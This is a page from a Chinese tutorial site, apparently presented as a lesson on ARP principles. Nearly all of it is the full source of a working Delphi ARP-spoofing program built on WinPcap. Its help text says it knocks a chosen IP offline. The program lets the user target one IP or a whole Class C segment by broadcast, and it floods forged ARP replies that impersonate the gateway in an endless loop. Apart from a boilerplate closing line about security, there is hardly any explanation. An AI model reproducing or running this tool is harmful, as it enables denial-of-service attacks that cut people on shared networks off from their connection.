明辉手游网中心:是一个免费提供流行视频软件教程、在线学习分享的学习平台!

DELPHI ARP攻击代码_ARP原理

[摘要]program Arp; {$APPTYPE CONSOLE} uses windows,IpHlpApi, IpTypes, Packet32,WinSock,math; c...

program Arp;

{$APPTYPE CONSOLE}

uses

windows,IpHlpApi, IpTypes,

Packet32,WinSock,math;

const

MAC_SIZE = 6;

type

MACADDRESS = array[0 .. MAC_SIZE - 1] of UCHAR;

type

ETHERNET_HDR = packed record

Destination:              MACADDRESS;

Source:                   MACADDRESS;

Protocol:                 WORD;

end;

type

ARP_HDR = packed record

HardwareType:             WORD;

ProtocolType:             WORD;

HLen:                     UCHAR;

PLen:                     UCHAR;

Operation:                WORD;

SenderHA:                 MACADDRESS;

SenderIP:                 DWORD;

TargetHA:                 MACADDRESS;

TargetIP:                 DWORD;

end;

type

TSendData = Record

     HEther        : ETHERNET_HDR;                  //以太网头

     ARP           : ARP_HDR;                        //ARP段

end;

var

NameList : Array [0..1024] of char;

Buffer: array[0 .. 63] of Char;

StrData:array[0..10] of string;

BufferStr: String;

NameLength,i:Longword;

Num,Size: Integer;

Strs:String;

p:Padapter;

pp:Ppacket ;

Ch: Byte;

IP: DWORD;

Mac: MACADDRESS;

Gateway: DWORD ;

FComputerName,FComputerIP,CompIp,DestIP:string;

SendData: TSendData;

Ok:Boolean;

Test:String;

function IntToStr(I: DWORD): String;

begin

Str(I, Result);

end;

function StrPas(const Str: PChar): string;

begin

Result := Str;

end;

function StrToInt(const S: string): Integer;

var

E: Integer;

begin

Val(S, Result, E);

end;

function MactoStr(Mac: MACADDRESS): String;

var

ch1, ch2: Byte;

i: Integer;

begin

Result := '';

for i := 0 to MAC_SIZE - 1 do

begin

    ch1 := Mac[i] and $F0;

    ch1 := ch1 shr 4;

    if ch1 > 9 then

     ch1 := ch1 + Ord('A') - 10

    else

     ch1 := ch1 + Ord('0');

    ch2 := Mac[i] and $0F;

    if ch2 > 9 then

     ch2 := ch2 + Ord('A') - 10

    else

     ch2 := ch2 + Ord('0');

    Result := Result + Chr(ch1) + Chr(ch2);

    if i < 5 then

     Result := Result + ':';

end;

end;

function IPtoStr(IP: DWORD): String;

begin

result:=IntToStr((IP and $FF000000) shr 24 )+'.';

    result:=result+IntToStr((IP and $00FF0000) shr 16 )+'.';

     result:=result+IntToStr((IP and $0000FF00) shr 8 )+'.';

      result:=Result+IntToStr((IP and $000000FF) shr 0 );

end;

function Str2IP(s: String): DWORD;

var

i: Integer;

Index: Integer;

Digit: String;

IP: array [0 .. 4 - 1] of DWORD;

Len: Integer;

begin

//try

Index := 1;

for i := 0 to 4 - 1 do

    IP[i] := 0;                       

Len := Length(s);

for i := 0 to 4 - 1 do

begin

    Digit := '';

    while(s[Index] >= '0') and (s[Index] <= '9') and (Index <= Len) do

    begin

     Digit := Digit + s[Index];

     inc(Index);

    end;

    inc(Index);

    IP[i] := StrToInt(Digit);

end;

Result :=

    IP[0] shl 24 +

    IP[1] shl 16 +

    IP[2] shl 8 +

    IP[3] shl 0;

// except

     // Result:=0;

     // end;

end;

function IntToHex( Value : DWord; Digits : Integer ) : String;

asm      // EAX = Value

         // EDX = Digits

         // ECX = @Result

PUSH       0

ADD        ESP, -0Ch

PUSH       EDI

PUSH       ECX

LEA        EDI, [ESP+8+0Fh] // EBX := @Buf[ 15 ]

{$IFDEF SMALLEST_CODE}

{$ELSE}

AND        EDX, $F

{$ENDIF}

@@loop:

DEC        EDI

DEC        EDX

PUSH       EAX

{$IFDEF PARANOIA}

DB $24, $0F

{$ELSE}

AND        AL, 0Fh

{$ENDIF}

{$IFDEF oldcode}

{$IFDEF PARANOIA}

DB $3C, 9

{$ELSE}

CMP        AL, 9

{$ENDIF}

JA         @@10

{$IFDEF PARANOIA}

DB $04, 30h-41h+0Ah

{$ELSE}

ADD        AL,30h-41h+0Ah

{$ENDIF}

@@10:

{$IFDEF PARANOIA}

DB $04, 41h-0Ah

{$ELSE}

ADD        AL,41h-0Ah

{$ENDIF}

{$ELSE newcode}

AAM

DB $D5, $11 //AAD

ADD       AL, $30

{$ENDIF newcode}

         //MOV        byte ptr [EDI], AL

STOSB

DEC        EDI

POP        EAX

SHR        EAX, 4

JNZ        @@loop

TEST       EDX, EDX

JG         @@loop

POP        EAX       // EAX = @Result

MOV        EDX, EDI // EDX = @resulting string

CALL       System.@LStrFromPChar

POP        EDI

ADD        ESP, 10h

end;

function StrToMac(s: String): MACADDRESS;

var

i: Integer;

Index: Integer;

Ch: String;

Mac: MACADDRESS;

begin

Index := 1;

for i := 0 to MAC_SIZE - 1 do

begin

    Ch := Copy(s, Index, 2);

    Mac[i] := StrToInt('$' + Ch);

    inc(Index, 2);

    while s[Index] = ':' do

     inc(Index);

end;

Result := Mac;

end;

Function GetSubStrNum(aString:String;SepChar:String):integer;

var

      i:Integer;

      StrLen:Integer;

      Num:Integer;

begin

      StrLen:=Length(aString);

      Num:=0;

      For i:=1 to StrLen do

      If Copy(aString,i,1) = SepChar then

      Num:=Num+1;

      result:=Num;

      end;

procedure GetClientPcNameIP;

const nSize = 256;

var

       strName :PChar;

       pWsaData :WSAData;

       nHostent :PHostEnt;

       Ver       :Word;

begin

try

      Ver := MakeWord(2,0);

     if WSAStartup(Ver,pWsaData) <> 0 then exit;

        GetMem(strName,nSize);

     if GetHostName(strName,nSize) <> 0 then exit;

          FComputerName := strName;

          nHostent := GetHostByName(strName);

          FComputerIP := inet_ntoa((PInAddr((nHostent.h_addr_list)^))^);

finally

         FreeMem(strName);

end;

end;

function Split(Input: string; Deliminator: string; Index: Integer): string;

var

StringLoop, StringCount: Integer;

Buffer: string;

begin

StringCount := 0;

for StringLoop := 1 to Length(Input) do

begin

     if (Copy(Input, StringLoop, 1) = Deliminator) then

     begin

       Inc(StringCount);

       if StringCount = Index then

       begin

         Result := Buffer;

         Exit;

       end

       else

       begin

         Buffer := '';

       end;

     end

     else

     begin

       Buffer := Buffer + Copy(Input, StringLoop, 1);

     end;

end;

Result := Buffer;

end;

function GetMacByIP(Const IPAddr: string): string;

var

dwResult: DWord;

nIPAddr: integer;

nMacAddr: array[0..5] of Byte;

nAddrLen: Cardinal;

WSAData: TWSAData;

begin

if WSAStartup($101, WSAData)=-1 then Exit;

nIPAddr := INet_Addr(PChar(IPAddr));

if nIPAddr = INADDR_NONE then exit;

nAddrLen := 6;

dwResult:= 1;

try

     dwResult := SendARP(nIPAddr, 0, @nMacAddr, nAddrLen);

except end;

if dwResult = 0 then

     result := (IntToHex(nMacAddr[0], 2) + ':' +

       IntToHex(nMacAddr[1], 2) + ':' +

       IntToHex(nMacAddr[2], 2) + ':' +

       IntToHex(nMacAddr[3], 2) + ':' +

       IntToHex(nMacAddr[4], 2) + ':' +

       IntToHex(nMacAddr[5], 2))

else

     result := '';

WSACleanup;

end;

procedure MyNetwork(Ms: string;var IP: DWORD;var Mac: MACADDRESS;var Gateway: DWORD);

var

i: Integer;

p, pAdapterInfo: PIP_ADAPTER_INFO;

uOutBufLen: ULONG;

dwRes: DWORD;

begin

pAdapterInfo := nil;

uOutBufLen := 0;

dwRes := GetAdaptersInfo(pAdapterInfo, uOutBufLen);

if dwRes = ERROR_BUFFER_OVERFLOW then

begin

    GetMem(pAdapterInfo, uOutBufLen);

    dwRes := GetAdaptersInfo(pAdapterInfo, uOutBufLen);

end;

if dwRes <> ERROR_SUCCESS then

begin

    exit;

end;

p := pAdapterInfo;

while p <> nil do

begin

    if Pos(String(p^.AdapterName), Ms) <> 0 then

     break;

    p := p^.Next;

end;

try

if p <> nil then

begin

    IP := Str2IP(p^.IpAddressList.IpAddress.S);

    for i := 0 to MAC_SIZE - 1 do

     Mac[i] := p^.Address[i];

    Gateway := Str2IP(p^.GatewayList.IpAddress.S);

end;

except

     end;

FreeMem(pAdapterInfo);

end;

procedure Help;

begin

WriteLn('小小的程序.实验一下ARP欺骗.让个IP.让其断网罢了.运行环境需要Winpcap.作者:Open');

end;

label

     start,print;

begin

    Help ;

    NameLength := 1024;

    ZeroMemory(@NameList,1024);

    PacketGetAdapterNames(NameList,@NameLength);

    for i:=0 to NameLength-1 do begin

    if ((NameList[i]=#0) and (NameList[i+1]=#0))then

          break

        else

        if ((NameList[i]=#0) and (NameList[i+1]<>#0))then

          NameList[i]:=char(',');

        end;

         Strs:=StrPas(NameList);

         Num:=GetSubStrNum(Strs,',');

         GetClientPcNameIP;

       for i:=0 to Num do begin

       StrData[i]:= Split(Strs,',',i+1);

       MyNetwork (StrData[i],ip,mac,Gateway);

       CompIp:=iptostr(ip);

       if CompIp = FComputerIP then begin

        Strs:= StrData[i];

        Break;

        end;

       end;

      WriteLn('Ethernet:'+strs);

      WriteLn('IP:'+iptostr(ip));

      WriteLn('Mac:'+MacToStr(Mac));

      WriteLn('Gateway:'+iptostr(Gateway));

      WriteLn('1.攻击指定IP     2.攻击一个C段');

print:

      Write('请选择:');

      Readln(Test);

      if (Test <> '1') and (Test <> '2' )then begin

      write('你的选择有误 ');

      goto print;

     end;

    ZeroMemory(@SendData,sizeof(TSendData));

    if Test = '1' then begin

start:

      write('请输入你要攻击的IP:');

      Readln(DestIP);

      if GetSubStrNum(DestIP,'.')<>3 then begin

       WriteLn('输入不正确');

       goto start ;

      end

else begin

      SendData.HEther.Destination:= StrToMac(GetMacByIP(DESTIP) );

       end ;

end;

if Test = '2' then

SendData.HEther.Destination:= StrToMac('FF:FF:FF:FF:FF:FF') ;

    //

    ///SendData.HEther.Destination:= StrToMac(GetMacByIP(DESTIP) );

    for i := 0 to MAC_SIZE - 1 do

    SendData.HEther.Source[i]:=30+Random(10)-1;

    SendData.HEther.Protocol:=$0608;

    SendData.ARP.HardwareType:=$0100;

    SendData.ARP.ProtocolType:=$08;

    SendData.ARP.HLen:=$06;

    SendData.ARP.PLen:=$04;

    SendData.ARP.Operation:=$0200;

    SendData.ARP.SenderHA:=StrToMac('00:00:00:00:00:00');

    SendData.ARP.SenderIP:=inet_addr(PChar(iptostr(Gateway)));

    p:= PacketOpenAdapter(pchar(strs));

    if (p=nil)or (p.hFile=INVALID_HANDLE_VALUE) then Exit;

    pp:=PacketAllocatePacket;

    PacketInitPacket(pp, @SendData,SizeOf(SendData));

if Test = '1' then begin

WriteLn('正在对IP:' + DestIP + '进行ARP');

end

else begin

    WriteLn('正在一个C段进行ARP');

    end;

    OK:=True;

     while ok do begin

    PacketSendPacket(p, pp, true);

    if i >= 10 then begin

    Write('>');

    i := 0 ;

    end;

    i := i + 1 ;

    Sleep(50);

    end;

    PacketFreePacket(pp);

    PacketCloseAdapter(p);

end.


上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。